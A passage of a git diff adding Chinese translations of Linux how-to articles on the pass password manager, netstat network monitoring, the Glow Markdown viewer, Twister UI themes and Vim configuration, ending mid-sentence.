+当然,这个文件是不可读的,并且你尝试对它运行 `cat` 或 `less` 时,在你的终端上会显示乱码(如果扰乱了你的显示,可以使用 `reset` 命令来恢复你的终端。) + +### 用 pass 编辑密码 + +我使用不同的用户名称进行不同的上网活动,所以网站的用户名常常和密码同样重要。`pass` 是有这个功能的,即使它默认状态下并不提示你。你可以使用 `pass edit` 命令添加用户名到密码文件: + +``` +$ pass edit www.example.com +``` + +这会打开一个编辑器(一般是你设置为 `EDITOR` 或者 `VISUAL` [环境变量][10] 的编辑器) 显示 `www.example.com` 文件的内容。目前,那仅仅是一个密码,但是你可以添加用户名甚至网址或者你想要添加的任何信息。它是个加密了的文件,所以你可以把你要放的任何东西放到里边。 + +``` +bd%dc$3a49af49498bb6f31bc964718C +user: seth123 +url: example.com +``` + +保存文件然后关闭。 + +### 从 pass 获取密码 + +要查看密码文件的内容,使用 `pass show` 命令: + +``` +$ pass show www.example.com +bd%dc$3a49af49498bb6f31bc964718C +user: seth123 +url: www.example.org +``` + +### 查找密码 + +有时候很难记住一个密码是归入到 `www.example.com` 还是 `example.com`,又或者一些类似 `app.example.com` 的网址。此外,一些网站架构使用不同的 URL 来实现不同的网站功能,所以你可能在 `www.example.com` 网址下填写过密码,你同时也用相同的登录信息在合作网站 `www.example.org` 下使用过密码。 + +如果有疑问,可以使用 `grep` 命令。`pass grep` 命令显示整个搜索项目的实例,无论是在文件名中还是在文件内容中: + +``` +$ pass grep example +www.example.com: +url: www.example.org +``` + +### 在浏览器中使用 pass + +我使用 `pass` 来获取互联网密码以外的信息,但是网站是我经常需要密码的地方。我常常在电脑上的某个地方打开一个终端,所以我通过 `Alt+Tab` 键切换到终端用 `pass` 来获取信息并不麻烦。但是我并不这么做是因为有一些插件可以将 `pass` 与网页浏览器整合在一起。 + +#### pass 托管脚本 + +首先,安装 `pass` 托管脚本: + +``` +$ curl -sSL github.com/passff/passff-host/release/latest/download/install_host_app.sh +``` + +这个脚本放置了一个 Python 脚本,帮助你的浏览器访问你的密码和 GPG 密码。用你所用的浏览器的名字运行它(或者不写参数,查看全部选项): + +``` +$ bash ./install_host_app.sh firefox +``` + +如果你使用多个浏览器,你可以为每一个浏览器安装它。 + +#### pass 附件 + +一旦你已经安装了这个托管程序,你可以为你的浏览器安装一个附件或者扩展。在你的浏览器附件或者扩展管理器里搜索 `PassFF` 插件。 + +![PassFF][12] + +安装了这个附件,然后关闭并重新打开浏览器。 + +导航到一个你在密码仓库中存有密码的网站。在你的登录文本框右侧会显示一个小小的 “P” 图标。 + +![PassFF browser prompt][14] + +点击 “P” 按钮会看到你的密码仓库中与你网站名称匹配的一个列表。 + +![PassFF browser menu][15] + +点击“纸和笔”的图标填写表单,或者通过“纸飞机”的图标填写并自动提交表单。 + +轻松的密码管理,而且完全整合了! + +### 尝试用 pass 作为你的 Linux 密码管理器 + +对于那些想用日常使用的工具来管理密码和个人信息的用户来说,`pass` 命令是一个很好的选择。如果你已经依赖 GPG 和终端,那么你可能会喜欢 `pass` 系统。对于那些不想让他们的密码被束缚在特定程序上的用户来说,这也是一个重要的选择。可能你并不只使用一个浏览器,或者你不喜欢这种想法,即如果你决定停止使用一个应用程序,可能很难从它那里提取你的密码。使用 `pass` ,你可以在一个 UNIX 式的直接系统中保持对你的秘密的控制。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/1/manage-passwords-linux-terminal + +作者:[Seth Kenlon][a] +选题:[lujun9972][b] +译者:[hwlife](https://github.com/hwlife) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/linux_keyboard_desktop.png?itok=I2nGw78_ (Linux keys on the keyboard for a desktop computer) +[2]: http://bitwarden.com +[3]: https://www.passwordstore.org/ +[4]: https://opensource.com/article/20/6/homebrew-mac +[5]: https://gpgtools.org/ +[6]: https://opensource.com/article/20/11/macports +[7]: mailto:seth@example.com +[8]: http://www.example.com +[9]: http://www.example.com.gpg +[10]: https://opensource.com/article/19/8/what-are-environment-variables +[11]: http://www.example.org +[12]: https://opensource.com/sites/default/files/uploads/passff.jpg (PassFF) +[13]: https://creativecommons.org/licenses/by-sa/4.0/ +[14]: https://opensource.com/sites/default/files/uploads/passff-button-web.jpg (PassFF browser prompt) +[15]: https://opensource.com/sites/default/files/uploads/passff-menu-web.jpg (PassFF browser menu) diff --git a/published/202204/20220201 View your Linux server-s network connections with netstat.md b/published/202204/20220201 View your Linux server-s network connections with netstat.md new file mode 100644 index 0000000000..ab021f1e42 --- /dev/null +++ b/published/202204/20220201 View your Linux server-s network connections with netstat.md @@ -0,0 +1,174 @@ +[#]: subject: "View your Linux server's network connections with netstat" +[#]: via: "https://opensource.com/article/22/2/linux-network-security-netstat" +[#]: author: "Sahana Sreeram https://opensource.com/users/sahanasreeram01gmailcom" +[#]: collector: "lujun9972" +[#]: translator: "hwlife" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14461-1.html" + +使用 netstat 查看你的 Linux 服务器网络连接 +====== + +> netstat 命令为你的 Linux 服务器提供了监测和网络故障排除的重要观察手段。 + +![](https://img.linux.net.cn/data/attachment/album/202204/12/095932h99fuqzd7y9y4f48.jpg) + +在 [之前的文章中][2],我分享了一些管理你的个人 Linux 服务器的首要步骤。我简要的提到了监测网络连接的监听端口,我想通过 Linux 系统的 `netstat` 命令来扩展开讲讲。 + +服务监测和端口扫描是标准的行业惯例。有很好的软件,如 [Prometheus][3] 协助这个过程自动化,[SELinux][4] 协助上下文和保护系统访问权限。然而,我相信了解你的服务器是如何连接到其他网络和设备的,是建立正常服务器基准的关键,能够帮助你识别有可能表明错误和入侵等异常情况。作为一个初学者,我已经掌握了 `netstat` 命令为我的服务器提供了监测和网络故障排除的重要观察手段。 + +`netstat` 和类似的一些网络监测工具被归入 [net-tools 软件包][5] 里,用来显示关于活动连接的信息。因为运行在开放的端口的服务往往容易被利用,定期进行网络监测能够帮助你及早探测到可疑的活动。 + +### 安装 netstat + +`netstat` 经常预装在 Linux 发行版上。如果 `netstat` 没有在你的服务器上安装,用你的包管理器安装它。下面是在基于 Debian 的系统上: + +``` +$ sudo apt-get install net-tools +``` + +在基于 Fedora 的系统上: + +``` +$ dnf install net-tools +``` + +### 使用 netstat + +就其本身而言,`netstat` 命令显示了全部建立成功的连接。你可以使用 `netstat` 的参数指定进一步预期的输出。举个例子,要显示所有监听和非监听的连接,使用 `--all`(`-a` 为简写)的参数。这将返回许多结果,所以在例子中我用管道符输出给 `head` 命令来显示输出的前 15 行: + +``` +$ netstat --all | head -n 15 +Active Internet connections (servers and established) +Proto Recv-Q Send-Q Local Address Foreign Address State +tcp 0 0 *:27036 *:* LISTEN +tcp 0 0 localhost:27060 *:* LISTEN +tcp 0 0 *:16001 *:* LISTEN +tcp 0 0 localhost:6463 *:* LISTEN +tcp 0 0 *:ssh *:* LISTEN +tcp 0 0 localhost:57343 *:* LISTEN +tcp 0 0 *:ipp *:* LISTEN +tcp 0 0 *:4713 *:* LISTEN +tcp 0 0 10.0.1.222:48388 syd15s17-in-f5.1e:https ESTABLISHED +tcp 0 0 10.0.1.222:48194 ec2-35-86-38-2.us:https ESTABLISHED +tcp 0 0 10.0.1.222:56075 103-10-125-164.va:27024 ESTABLISHED +tcp 0 0 10.0.1.222:46680 syd15s20-in-f10.1:https ESTABLISHED +tcp 0 0 10.0.1.222:52730 syd09s23-in-f3.1e:https ESTABLISHED +``` + +要只显示 TCP 端口,使用 `--all` 和 `--tcp` 参数,或者简写成 `-at` : + +``` +$ netstat -at | head -n 5 +Active Internet connections (servers and established) +Proto Recv-Q Send-Q Local Address Foreign Address State +tcp 0 0 *:27036 *:* LISTEN +tcp 0 0 localhost:27060 *:* LISTEN +tcp 0 0 *:16001 *:* LISTEN +``` + +要只显示 UDP 端口,使用 `--all` 和 `--udp` 参数,或者简写成 `-au` : + +``` +$ netstat -au | head -n 5 +Active Internet connections (servers and established) +Proto Recv-Q Send-Q Local Address Foreign Address State +udp 0 0 *:27036 *:* +udp 0 0 10.0.1.222:44741 224.0.0.56:46164 ESTABLISHED +udp 0 0 *:bootpc +``` + +`netstat` 命令参数常常是简单易懂的。举个例子,要显示带有全部进程 ID(PID)和数字地址的监听 TCP 和 UDP 的端口: + +``` +$ sudo netstat --tcp --udp --listening --programs --numeric +Active Internet connections (only servers) +Proto Recv-Q Send-Q Local Address Foreign Addr State PID/Program name +tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN 1/systemd +tcp 0 0 192.168.122.1:53 0.0.0.0:* LISTEN 2500/dnsmasq +tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 1726/sshd +tcp 0 0 127.0.0.1:631 0.0.0.0:* LISTEN 1721/cupsd +tcp 0 0 127.0.0.1:6010 0.0.0.0:* LISTEN 4023/sshd: tux@ +tcp6 0 0 :::111 :::* LISTEN 1/systemd +tcp6 0 0 :::22 :::* LISTEN 1726/sshd +tcp6 0 0 ::1:631 :::* LISTEN 1721/cupsd +tcp6 0 0 ::1:6010 :::* LISTEN 4023/sshd: tux@ +udp 0 0 0.0.0.0:40514 0.0.0.0:* 1499/avahi-daemon: +udp 0 0 192.168.122.1:53 0.0.0.0:* 2500/dnsmasq +udp 0 0 0.0.0.0:67 0.0.0.0:* 2500/dnsmasq +udp 0 0 0.0.0.0:111 0.0.0.0:* 1/systemd +udp 0 0 0.0.0.0:5353 0.0.0.0:* 1499/avahi-daemon: +udp6 0 0 :::111 :::* 1/systemd +udp6 0 0 :::44235 :::* 1499/avahi-daemon: +udp6 0 0 :::5353 :::* 1499/avahi-daemon: +``` + +这个常用组合简写版本是 `-tulpn` 。 + +要显示一个指定服务的信息,[使用 grep 命令过滤][6]: + +``` +$ sudo netstat -anlp | grep cups +tcp 0 0 127.0.0.1:631 0.0.0.0:* LISTEN 1721/cupsd tcp6 0 0 ::1:631 :::* LISTEN 1721/cupsd +unix 2 [ ACC ] STREAM LISTENING 27251 1/systemd /var/run/cups/cups.sock +unix 2 [ ] DGRAM 59530 1721/cupsd +unix 3 [ ] STREAM CONNECTED 55196 1721/cupsd /var/run/cups/cups.sock +``` + +### 接下来的步骤 + +一旦你运行了 `netstat` 命令,你就可以采取措施来保护你的系统,确保只有你主动使用的服务在你的网络上被监听。 + + 1. 识别通常被利用的端口和服务。一般来说,关闭你实际不使用的端口。 + 2. 留意不常见的端口号,认识了解在你系统上使用的合法端口。 + 3. 密切注意 SELinux 错误。有时你需要做的只是更新上下文,以匹配你对系统做的合法更改,但是要阅读错误警告,以确保 SELinux 提醒你的不是可疑或者恶意的活动。 + +如果你发现一个端口正在运行一个可疑的服务,或者你只是简单的想要关闭你不再使用的端口,你可以遵从以下这些步骤,通过防火墙规则手动拒绝端口访问: + +如果你在使用 `firewall-cmd` ,运行这些命令: + +``` +$ sudo firewall-cmd –remove-port=/tcp +$ sudo firewall-cmd –runtime-to-permanent +``` + +如果你在使用 UFW,运行以下的命令: + +``` +$ sudo ufw deny +``` + +下一步,使用 `systemctl` 来停止这个服务: + +``` +$ systemctl stop +``` + +### 理解 netstat + +`netstat` 是一个快速收集你的服务器网络连接信息的有用工具。定期网络监测是了解你的系统的重要组成部分,对帮助你保持你的系统安全有着重要意义。将这一步纳入你的日常管理中,你可以使用类似 `netstat` 或者 `ss` ,以及 [Nmap 等开源端口扫描器或者 Wireshark 等嗅探器][7] ,它们都允许设定 [计划任务][8]。 + +随着服务器存储了大量的个人数据,确保个人服务器的安全日益重要。通过了解你的服务器怎样连接到互联网,你可以降低你的机器的风险,同时你仍可以在数字时代大量的连接中获得益处。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/2/linux-network-security-netstat + +作者:[Sahana Sreeram][a] +选题:[lujun9972][b] +译者:[hwlife](https://github.com/hwlife) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/sahanasreeram01gmailcom +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/rack_server_sysadmin_cloud_520.png?itok=fGmwhf8I (A rack of servers, blue background) +[2]: https://opensource.com/article/21/4/securing-linux-servers +[3]: https://opensource.com/article/19/11/introduction-monitoring-prometheus +[4]: https://opensource.com/business/13/11/selinux-policy-guide +[5]: http://sourceforge.net/projects/net-tools/ +[6]: https://opensource.com/article/21/3/grep-cheat-sheet +[7]: https://redhat.com/sysadmin/troubleshoot-dhcp-nmap-tcpdump-and-wireshark +[8]: https://opensource.com/article/22/2/redhat.com/sysadmin/nmap-scripting-engine diff --git a/published/202204/20220202 Read and Organize Markdown Files in Linux Terminal With Glow.md b/published/202204/20220202 Read and Organize Markdown Files in Linux Terminal With Glow.md new file mode 100644 index 0000000000..52a0325346 --- /dev/null +++ b/published/202204/20220202 Read and Organize Markdown Files in Linux Terminal With Glow.md @@ -0,0 +1,129 @@ +[#]: subject: "Read and Organize Markdown Files in Linux Terminal With Glow" +[#]: via: "https://itsfoss.com/glow-cli-tool-markdown/" +[#]: author: "Abhishek Prakash https://itsfoss.com/author/abhishek/" +[#]: collector: "lujun9972" +[#]: translator: "hwlife" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14457-1.html" + +用 Glow 在 Linux 终端阅读和管理 Markdown 文件 +====== + +![](https://img.linux.net.cn/data/attachment/album/202204/11/151437wdzjaetardciedt1.jpg) + +> Glow 是一个能让你在 Linux 终端渲染 Markdown 文件的命令行工具。你也可以用它来管理 Markdown 文件。 + +我喜欢 Markdown。虽然我不是一个专业的 Markdown 用户,但我几乎用 Markdown 写我的大部分文章。 + +如果你是我们的常客,你可能已经看到过 [Markdown 指南][1]、编辑器以及 Obsidian 之类的工具。我将再加个工具到这个名单中,它叫做 [Glow][2],并且不像之前涵盖的程序,Glow 能够让你在终端里阅读 Markdown 文件。 + +等等!难道不能在终端里使用 [阅读文本文件的常规 Linux 命令][3],如 `cat`、`less`,甚至是像 Vim 之类的编辑器来阅读 Markdown 文件吗? + +当然可以。但它会原样显示所有的代码来显示原始的 Markdown 文件,而不是显示正确的格式化文本。 + +![Glow renders the Markdown file][4] + +注意:Glow 不是一个编辑器。你不能用它去编写 Markdown 文本。 + +### Markdown 爱好者将会喜欢 Glow 的功能 + +Glow 可以用两种格式来使用:[命令行界面和终端用户界面][5]。 + +简单的对一个 Markdown 文件使用 Glow 命令将在屏幕上显示整个渲染后的内容。 + +``` +glow markdown_file +``` + +![Markdown display with Glow][6] + +这是很不错,但是 Glow 可以做的更好。它有额外的参数打开终端用户界面terminal user interface(TUI)模式,并且允许你用它来做更多的事情。 + +你可以使用页面参数(`-p`)来在页面模式下显示渲染后的文本(类似 `less` 命令显示文本没有弄乱屏幕一样)。 + +``` +glow -p markdown_file +``` + +在页面视图中,你可以使用 `less` 命令相同的方法,使用 `/` 键来搜索特定的文本。你可以按下`q` 键退出这个视图。 + +![Pager view similar to the less command][7] + +不止这些。你可以使用 `-a` 选项,它将查找当前目录及子目录中的所有 Markdown 文件。 + +``` +glow -a +``` + +你可以用方向键在屏幕上滚动文件。上下键向上和向下移动,左右键按照页数移动。 + +![With -a option, Glow finds and displays all Markdown files in current directory][8] + +你可以查看显示在底部的帮助选项。在这个视图中,查找选项允许你根据文件名查找文件(不是它们的内容)。 + +![You can search files by their name][9] + +这里也有标签。当然,你可以通过 `Tab` 键在标签中来回移动。 + +隐藏stashed标签像一个书签。当你浏览文件或是查看它们的内容时,你可以按下 `s` 键来创建一个隐藏标签(书签)。这个书签将只会在当前目录下可见。 + +你可以按下 `x` 键来移除书签(不是文件)或者按下 `m` 键来添加一个备注。 + +![You can bookmark files by stashing them with s key][10] + +新闻news标签显示更新日志和来自 Glow 开发者(们)的其他消息。 + +![The news tab shows messages from the developers][11] + +当你已经找到你想找的文件,你可以通过按下回车键来查看它们。因为你在终端用户界面模式,所以你这里会有额外的键盘选项。可以通过按下 `?` 键来显示选项。 + +![You can view keyboard shortcuts by pressing the ? key][12] + +### 在 Linux 上安装 Glow + +Glow 可以在 Linux 和 macOS 上使用。你可以在 macOS 和 [Linux 上使用 Homebrew][13] 来安装它,然而,我建议你在这里使用 Linux 安装包。 + +Glow 在 Void、Solus 和 Arch Linux 的仓库里是可用的。你可以用它们的包管理器来安装它们。 + +在基于 Arch 的发行版上,使用: + +``` +sudo pacman -S glow +``` + +对于 Ubuntu、Debian、Fedora 和 SUSE,它们有用于在各种架构的 .DEB 和 .RPM 二进制包,你可以在它们的发布页找到它们。 + +> [下载用于其它 Linux 发行版的 Glow][14] + +### 总结 + +总之,Glow 是在终端里的一个美化视图和管理 Markdown 的便利工具。像许多其他的命令行工具一样,它不是每个人都适合。如果你经常在终端,并喜欢 Markdown 文件,你可以尝试使用一下。当你用过后,请在评论区里分享你使用它的体验。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/glow-cli-tool-markdown/ + +作者:[Abhishek Prakash][a] +选题:[lujun9972][b] +译者:[hwlife](https://github.com/hwlife) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/abhishek/ +[b]: https://github.com/lujun9972 +[1]: https://itsfoss.com/markdown-guide/ +[2]: https://github.com/charmbracelet/glow +[3]: https://linuxhandbook.com/view-file-linux/ +[4]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/01/markdown-display-with-cat.png?resize=1572%2C962&ssl=1 +[5]: https://itsfoss.com/gui-cli-tui/ +[6]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/01/markdown-display-with-glow.png?resize=800%2C490&ssl=1 +[7]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/01/pager-view-with-glow.png?resize=800%2C451&ssl=1 +[8]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/01/glow-collection.png?resize=800%2C451&ssl=1 +[9]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/01/find-files-in-glow.png?resize=800%2C451&ssl=1 +[10]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/01/stash-feature-glow.png?resize=800%2C374&ssl=1 +[11]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/01/glow-news-tab.png?resize=800%2C451&ssl=1 +[12]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2022/01/display-help-in-file-view-in-glow.png?resize=800%2C490&ssl=1 +[13]: https://itsfoss.com/homebrew-linux/ +[14]: https://github.com/charmbracelet/glow/releases diff --git a/published/202204/20220209 Give Your Linux Mint and Xubuntu a Visual Uplift Using Twister UI.md b/published/202204/20220209 Give Your Linux Mint and Xubuntu a Visual Uplift Using Twister UI.md new file mode 100644 index 0000000000..73bbee1316 --- /dev/null +++ b/published/202204/20220209 Give Your Linux Mint and Xubuntu a Visual Uplift Using Twister UI.md @@ -0,0 +1,153 @@ +[#]: subject: "Give Your Linux Mint and Xubuntu a Visual Uplift Using Twister UI" +[#]: via: "https://www.debugpoint.com/2022/02/twister-ui-2022/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14494-1.html" + +使用 Twister UI 提升你的 Linux Mint 和 Xubuntu 视觉感受 +====== + +![](https://img.linux.net.cn/data/attachment/album/202204/21/172213ts2x6e1g4lwatv54.jpg) + +> Twister UI 是给你的 Linux Mint 和 Xubuntu 提供视觉提升的最简单方法。以下是方法。 + +[Twister UI][1] 可以安装在已有的 Linux Mint 和 Xubuntu 系统上。Pi 实验室创造了这个用户界面,他们为树莓派和相关硬件开发了 [Twister OS][2]。 + +### Twister UI + +Twister UI 是一套用于 [Linux Mint][3] 和 Xubuntu 的软件包集合,它带来了几个流行的操作系统特定的主题和配置,开箱即用。你只需点击一个按钮就可以应用它们,而不需要单独下载图标、主题或光标。 + +其最新版本提供了以下操作系统的开箱即用的桌面主题、图标、声音和其他设置变化。 + + * 原生 Twister 操作系统主题 + * Windows 98、Windows 7、Windows XP + * Windows 11、Windows 10 + * iTwister 和 iTwister Sur(类似 macOS) + +#### 它是如何工作的? + +该团队提供了自动脚本,从 GitHub 下载所有流行的操作系统特定的主题、声音等。然后该脚本修改它们,从 Ubuntu 仓库下载额外的包,并整体安装这个附加组件。安装程序自己负责安装一切,你需要做的就是等待。 + +在向你解释如何安装之前,让我们看看这个操作系统增强模组MOD的一些截图和功能。这些截图来自应用了这个操作系统增强模组的 Linux Mint Xfce 版。 + +#### 它的外观(截图) + +![Twister UI – macOS Theme][4] + +![Twister UI – Windows XP Theme][5] + +![native Twister OS theme][6] + +#### Twister UI 软件包的内容 + +该软件包有它自己的设置应用,名为 ThemeTwister。你可以用它来快速切换主题。你可以随心所欲地在它们之间转换,而不会破坏什么。 + +该项目还默认安装了一些优秀的开源软件包。它安装了 Lutris、Steam 游戏平台以帮助你快速玩游戏。它还为用户安装了 Discord、Wine 模拟器。 + +正如你所看到的,考虑到这个附加组件的用户群,该团队仔细斟酌了要安装哪些软件包。 + +### 如何安装 + +如果你打算安装这个,我建议在 Linux Mint Xfce 版和 Xubuntu 中使用这个包。不要试图在其他 Linux 发行版中安装它(我在阅读文档之前就试过了,我把我的 Fedora 系统搞得一团糟,所以不要在其他发行版中尝试)。 + +其要求是安装在 Linux Mint Xfce 或 Xubuntu(无论是 32 位还是 64 位)。它还需要大约 5GB 的磁盘空间。 + +首先,从下面的链接中下载该软件包,其中包含 Torrent 链接。它不是一个 ISO 文件。它由三个文件组成,其中一个是实际的脚本。 + +> [下载 Twister UI][1] + +下载完毕后,打开下载的文件夹,你应该看到一个扩展名为 `.run` 的文件(如下图所示)。 + +![Give the execute permission to the run file][7] + +改变该文件的权限,使其可执行。然后通过终端运行它。 + +该脚本需要管理员密码,所以在要求时就提供这个密码。在你开始安装之前,请确保你有稳定的网络连接,以便随时下载其他软件包。 + +![Starting the installation script][8] + +下载和安装需要一些时间。这取决于你的网速,可能需要 15 到 20 分钟左右。 + +你需要知道,该安装程序将取代默认的 Plymouth ,并会 [更新 initramfs][9]。 + +安装完成后,脚本应该会提示你重新启动。 + +重启后,登录到你的 Linux Mint Xfce 或 Xubuntu 系统。 + +### 如何改变主题 + +如果你使用的是 Linux Mint Xfce 版,在改变主题之前,你需要做以下额外的改变以获得最佳效果: + + * 打开“应用程序菜单Application Menu > 设置Settings > 桌面Desktop”,在“图标Icon”标签下,取消勾选“使用自定义字体大小Use custom font size”。 + * 打开“应用程序菜单Application Menu > 设置Settings > 窗口管理器调整Window Manager tweaks”,在“合成器Compositor”标签下,取消勾选“在停靠窗口下显示阴影Show shadows under dock windows”。 + +现在你应该在桌面上看到一个 “ThemeTwister” 图标,打开该应用。这个应用为你提供了改变主题的选项,如下图所示。 + +![Changing theme using ThemeTwister tool][10] + +选择一个主题并点击相应的按钮。每次你改变或应用一个主题时,该脚本都会要求你注销。所以在改变主题之前,请确保你关闭所有的程序。 + +### 如何卸载 + +如果你完成后想卸载,那么打开终端,运行下面的 shell 脚本。 + +``` +sh /usr/share/ThemeSwitcher/uninstall.sh +``` + +上述脚本只卸载了 Twister UI 组件,并没有卸载 Steam、Lutris 等。所以如果你想卸载,请使用软件管理器来卸载它们。 + +如果你在卸载后做一次重启,那是最好的。 + +### 评测和性能 + +根据 Pi 实验室的说明,该定制应该不会消耗太多的额外内存。这也是事实。 + +该定制对桌面性能影响不大。当我在 Linux Mint Xfce 版的空闲模式下运行一到两项定制时,它消耗了大约 740MB 的内存,CPU 大约 2% 到 3%。这本身就令人印象深刻。使用它的唯一代价是额外的磁盘空间。 + +![Resource Usage in Linux Mint with Twister UI][11] + +主题切换器非常好,完美地改变了主题,没有意外和错误。 + +总的来说,整个过程是无痛的,按照其设计进行得很好。 + +### 总结 + +你可以下载单独的主题图标,改变设置,手动配置你的 Linux 发行版,使其看起来像 Windows 或 macOS。这需要很多时间,有时对新用户来说也很困难。考虑到这一点,我认为这种新方法可以节省时间,对每个人来说都非常容易。你只需点击一个按钮,就可以得到所有需要的增强模组。 + +总有一种争论,为什么 Linux 需要看起来像 Windows 或 macOS。但老年人可能不太熟悉电脑,不过他们记得 Windows 的颜色和图标。他们可以使用这种简单的修改来适应 Linux,而不会有任何麻烦。 + +总的来说,这是一个来自 Pi 实验室的优秀项目,可以帮助到全世界的许多用户。 + +那么,你对这个项目有什么看法?请在下面的评论栏里告诉我。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/2022/02/twister-ui-2022/ + +作者:[Arindam][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lujun9972 +[1]: https://twisteros.com/twisterui.html +[2]: https://twisteros.com +[3]: https://www.debugpoint.com/2021/11/linux-mint-20-3-new-app/ +[4]: https://www.debugpoint.com/wp-content/uploads/2022/02/Twister-UI-macOS-Theme-1024x576.jpg +[5]: https://www.debugpoint.com/wp-content/uploads/2022/02/Twister-UI-Windows-XP-Theme-1024x574.jpg +[6]: https://www.debugpoint.com/wp-content/uploads/2022/02/native-Twister-OS-theme-1024x581.jpg +[7]: https://www.debugpoint.com/wp-content/uploads/2022/02/Give-the-execute-permission-to-the-run-file-1024x521.jpg +[8]: https://www.debugpoint.com/wp-content/uploads/2022/02/Starting-the-installation-script.jpg +[10]: https://www.debugpoint.com/wp-content/uploads/2022/02/Changing-theme-using-ThemeTwister-tool.jpg +[11]: https://www.debugpoint.com/wp-content/uploads/2022/02/Resource-Usage-in-Linux-Mint-with-Twister-UI-1024x579.jpg +[12]: https://t.me/debugpoint +[13]: https://twitter.com/DebugPoint +[14]: https://www.youtube.com/c/debugpoint?sub_confirmation=1 +[15]: https://facebook.com/DebugPoint diff --git a/published/202204/20220214 How I configure Vim as my default editor on Linux.md b/published/202204/20220214 How I configure Vim as my default editor on Linux.md new file mode 100644 index 0000000000..f933119bef --- /dev/null +++ b/published/202204/20220214 How I configure Vim as my default editor on Linux.md @@ -0,0 +1,103 @@ +[#]: subject: "How I configure Vim as my default editor on Linux" +[#]: via: "https://opensource.com/article/22/2/configure-vim-default-editor" +[#]: author: "David Both https://opensource.com/users/dboth" +[#]: collector: "lujun9972" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14475-1.html" + +我如何在 Linux 上把 Vim 配置为默认编辑器 +====== + +> Vim 是我最喜爱的编辑器。对于那些默认使用其他编辑器的程序,我对系统所做的这些改变可以使得 Vim 成为它们默认编辑器。 + +![](https://img.linux.net.cn/data/attachment/album/202204/15/172912fvtvpfff83r373yy.png) + +我使用 Linux 大概有 25 年了,在那之前我还使用了几年的 Unix。在这段时间里,我对一些日常使用的工具形成了偏好。Vim 是我使用的最重要的工具之一。 + +我在 90 年代初学习 Solaris 时,就开始使用 Vi 了,因为有人告诉我,它在任何系统上都能使用。从我的经验来看,确实是这样。我也试过其他编辑器,它们都能够胜任工作。但是,对于我来说,Vim 的使用效果最好。我经常使用它,以至于形成了肌肉记忆,甚至我在使用其他编辑器时也会下意识地去按 Vim 的快捷键。 + +另外,我只是单纯地喜欢 Vim 而已。 + +许多配置文件使用的名字是 Vi 而不是 Vim,你可以运行 `vi` 命令。不过,`vi` 命令其实是 `vim` 命令的一个链接。 + +许多 Linux 工具使用的编辑器都是在模拟或是直接调用的 [Nano][2]、[Emacs][3] 或者 Vim。其他的一些工具允许用户(比如那些有着明确偏好的用户)使用他们喜欢的编辑器。举两个对我影响最大的例子,一个是 Bash 命令行,它默认使用 Emacs;另一个是 Alpine 文本模式的邮件客户端,它默认使用 Pico。事实上,Pico 是专门为 Pine 邮件客户端编写的,而 Pine 是 Alpine 的前身。 + +并非所有使用外部编辑器的程序都是可配置的。有些程序只使用开发者指定的编辑器。对于那些可配置的应用程序,有不同的方法来选择你喜欢的编辑器。 + +### 在 Linux 命令行中编辑 + +除了实际编辑文本文件外,另一个我经常使用,且和编辑密切相关的工具是 Bash shell。Bash 的默认编辑器是 Emacs。虽然我也用过 Emacs,但我肯定更喜欢 Vim。所以很多年前,我把 Bash 命令行的默认编辑器从 Emacs 换成了 Vim,这对我来说更舒服。 + +有很多种方法可以配置 Bash。你可以使用一个本地配置文件,比如 `/home/yourhomedirectory/.bashrc`,它只对你的用户账户进行默认修改,而不对同一系统的其他用户进行修改。我个人倾向于让这些改变成为全局性的,基本上就是我的个人账户和 root。如果你也想全局配置,你可以创建你自己的配置文件,并把它放在 `/etc/profile.d` 目录中。 + +我在 `/etc/profile.d` 中添加了一个名为 `myBashConfig.sh` 的文件。`/etc/profile.d` 目录中存放了所有已安装的 shell 的启动文件。在启动终端会话时,每个 shell 仅会根据文件名的扩展名,读取为其准备的启动文件。例如,Bash shell 只读取扩展名为 `.sh` 的文件。 + +``` +<截断> +alias vim='vim -c "colorscheme desert" ' +# 把 vi 设置为 Bash 的默认编辑器 +set -o vi +# 为所有检查 $EDITOR 变量的程序设置默认编辑器为 vi +EDITOR=vi +<截断> +``` + +在这个全局 Bash 配置文件段中,`set -o vi` 将 Vi 设置为默认编辑器。这个 `set` 命令中的 `-o` 选项将 `vi` 